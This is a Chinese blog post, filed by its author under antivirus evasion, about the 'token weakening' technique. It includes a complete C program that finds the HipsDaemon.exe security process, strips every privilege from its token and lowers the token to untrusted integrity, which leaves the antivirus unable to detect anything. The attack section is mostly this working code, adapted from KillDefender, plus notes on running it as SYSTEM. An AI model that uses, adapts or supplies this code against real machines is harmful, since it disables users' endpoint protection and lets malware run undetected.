令牌弱化
这篇想了想还是放在免杀里吧,把杀软杀了也是免杀的方式吧
0x01 介绍&&漏洞成因
这名字还有点高大上,本质就是把杀软的特权全部关掉,在修改访问令牌文章中写过要是关了SeShutdownPrivileges特权会导致关机都关不了,那把杀软的这些特权都关了杀软就失去查杀的功能了
windows高版本有PPL保护,简单说就是防止进程被篡改,没有PPL保护的进程无法注入有保护的进程
但是PPL只保护了进程句柄,未保护进程的令牌,可以用获取到的权限低的进程句柄,在有SeDebugPrivileges权限下得到令牌的全部权限,之后移除全部特权后降低完整性级别,其实这个是关键,后面复现了一下发现就算不移除所有特权只要降低完整性级别也可以达到效果,不过还是要写一下移除的方法
0x02 函数和结构
在代码实现前还要介绍一些函数
这里移除特权的方法就是常规的OpenProcessToken->LookupPrivilegeValue->AdjustTokenPrivileges组合
就有点懒狗了不想再写这个,之前还介绍到RtlAdjustPrivilege函数,但是这个函数的参数中是不带句柄的,于是想找一下有无类似的带句柄参数的函数
于是x64dbg调试了一下后发现还真有
ZwAdjustPrivilegesToken
1 2 3 4 5 6 7 8
| NTSYSCALLAPI NTSTATUS NTAPI ZwAdjustPrivilegesToken ( _In_ HANDLE TokenHandle, _In_ BOOLEAN DisableAllPrivileges, _In_opt_ PTOKEN_PRIVILEGES NewState, _In_ ULONG BufferLength, _Out_writes_bytes_to_opt_(BufferLength,*ReturnLength) PTOKEN_PRIVILEGES PreviousState, _Out_ _When_(PreviousState==NULL, _Out_opt_) PULONG ReturnLength )
|
毕竟逆向的技术不够只能找到这个函数名,不过肯定有大佬总结了于是网上一顿搜索找到了这个函数的结构
但是一顿操作后发现DisableAllPrivileges参数设为1不能全部关闭..找到的函数又舍不得不用
不过有一点是已知的luid是不变的,在RtlAdjustPrivilege文章里面也写过
luid有34个0x0-0x23,0x1是没有的遍历到应该也没关系
1 2 3 4 5 6
| BOOL SetTokenInformation( [in] HANDLE TokenHandle, [in] TOKEN_INFORMATION_CLASS TokenInformationClass, [in] LPVOID TokenInformation, [in] DWORD TokenInformationLength );
|
这个函数是用来设置令牌信息的,可以设置令牌的可信度
SID结构
1 2 3 4 5 6 7 8 9 10
| typedef struct _SID { BYTE Revision; BYTE SubAuthorityCount; SID_IDENTIFIER_AUTHORITY IdentifierAuthority; #if ... DWORD *SubAuthority[]; #else DWORD SubAuthority[ANYSIZE_ARRAY]; #endif } SID, *PISID;
|
这里学的也不清不楚的,下面用自己的意思总结一下
S-1-5-21-1248722460-3128834814-3874648513-1000
S 表示这是SID
1 修订版本
5 标识符机构值
21-1248722460-3128834814-3874648513 子机构值
1000 RID
这是一个SID的结构,下面来看一下大佬的poc
1 2 3 4 5
| SID integrityLevelSid = {}; integrityLevelSid.Revision = SID_REVISION; integrityLevelSid.SubAuthorityCount = 1; integrityLevelSid.IdentifierAuthority.Value[5] = 16; integrityLevelSid.SubAuthority[0] = integrityLevel;
|
Revision修订版本宏定义为1
SubAuthorityCount参数官网介绍最多15个元素,但是15以内的有些数字是不行的,估计有什么格式要求
IdentifierAuthority标识符机构值,但是这里是用六个元素的数组表示的,只要关注最后一位就可以了
可以看到16是定义完整性级别的
SubAuthority子机构值,后面这个也是宏定义integrityLevel为0
这样就组成的SID是S-1-16-0,这是一个定义好的SID
就是最低的可信度
然后用SetTokenInformation设置到要干掉的程序
上面的理解如果有问题欢迎大佬指出
TOKEN_MANDATORY_LABEL
1 2 3
| typedef struct _TOKEN_MANDATORY_LABEL { SID_AND_ATTRIBUTES Label; } TOKEN_MANDATORY_LABEL, *PTOKEN_MANDATORY_LABEL;
|
Label指定令牌强制完整性级别的结构
SID_AND_ATTRIBUTES
1 2 3 4 5 6 7 8
| typedef struct _SID_AND_ATTRIBUTES { #if ... PISID Sid; #else PSID Sid; #endif DWORD Attributes; } SID_AND_ATTRIBUTES, *PSID_AND_ATTRIBUTES;
|
0x03 代码实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| #include<Windows.h> #include<stdio.h> #include<tlhelp32.h>
typedef NTSTATUS(WINAPI* typedef_ZwAdjustPrivilegesToken)( HANDLE TokenHandle, BOOLEAN DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, ULONG BufferLength, _Out_writes_bytes_to_opt_(BufferLength, *ReturnLength) PTOKEN_PRIVILEGES PreviousState, _Out_ _When_(PreviousState == NULL, _Out_opt_) PULONG ReturnLength );
int FindProcessId(LPCTSTR ProcessName) { PROCESSENTRY32 PE = { 0 }; PE.dwSize = sizeof(PE); HANDLE ProcessIDALL = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (Process32First(ProcessIDALL, &PE)) { do { if (lstrcmpi(ProcessName, PE.szExeFile) == 0) { return PE.th32ProcessID; } } while (Process32Next(ProcessIDALL, &PE)); }
return 0; }
BOOL DisablePrivilege(HANDLE token) { typedef_ZwAdjustPrivilegesToken ZwAdjustPrivilegesToken = (typedef_ZwAdjustPrivilegesToken)GetProcAddress(LoadLibraryA("ntdll.dll"), "ZwAdjustPrivilegesToken"); if (ZwAdjustPrivilegesToken == NULL) { printf("Can not found ZwAdjustPrivilegesToken"); return -1; } for (int i = 0; i <= 0x24; i++) { TOKEN_PRIVILEGES tp = {}; LUID luid = {}; luid.HighPart = 0; luid.LowPart = i; tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED; ZwAdjustPrivilegesToken(token, 0, &tp, sizeof(tp), NULL, NULL); } return TRUE;
}
int main() { int pid = FindProcessId(L"HipsDaemon.exe"); printf("pid: %d\n", pid); HANDLE process = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
HANDLE token; int ret = OpenProcessToken(process, TOKEN_ALL_ACCESS, &token);
DisablePrivilege(token);
DWORD integrityLevel = SECURITY_MANDATORY_UNTRUSTED_RID; SID sid = {}; sid.Revision = SID_REVISION; sid.SubAuthorityCount = 1; sid.IdentifierAuthority.Value[5] = 16; sid.SubAuthority[0] = integrityLevel;
TOKEN_MANDATORY_LABEL tml = {}; tml.Label.Attributes = SE_GROUP_INTEGRITY; tml.Label.Sid = &sid; BOOL Rret = SetTokenInformation(token, TokenIntegrityLevel, &tml, sizeof(TOKEN_MANDATORY_LABEL)); printf("%d", Rret); CloseHandle(token); CloseHandle(process); }
|
0x04 效果图
可以看到特权已经全部被移除了,注意这里一定要用SYSTEM用户执行,以管理员运行是不够的
怎么调出SYSTEM用户可以看令牌模拟的文章
一定要SYSTEM估计是少什么特权吧
0x05 总结
写完这篇感觉英语好重要..特别是查SID的时候用翻译真的不够,感觉迷迷糊糊写下来了,可能由很多地方不对,如果有大佬看到欢迎提出,不对的地方马上改正
还有代码这段特别是降低可信度这段还是用了github上面这位老哥的,就当与重打了一篇吧,也学到不少感谢这位师傅
参考
https://github.com/pwn1sher/KillDefender
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/5cb97814-a1c2-4215-b7dc-76d1f4bfad01
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/81d92bba-d22b-4a8c-908a-554ab29148ab
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/c6ce4275-3d90-4890-ab3a-514745e4637e
https://docs.microsoft.com/en-us/windows/win32/api/winnt/ne-winnt-token_information_class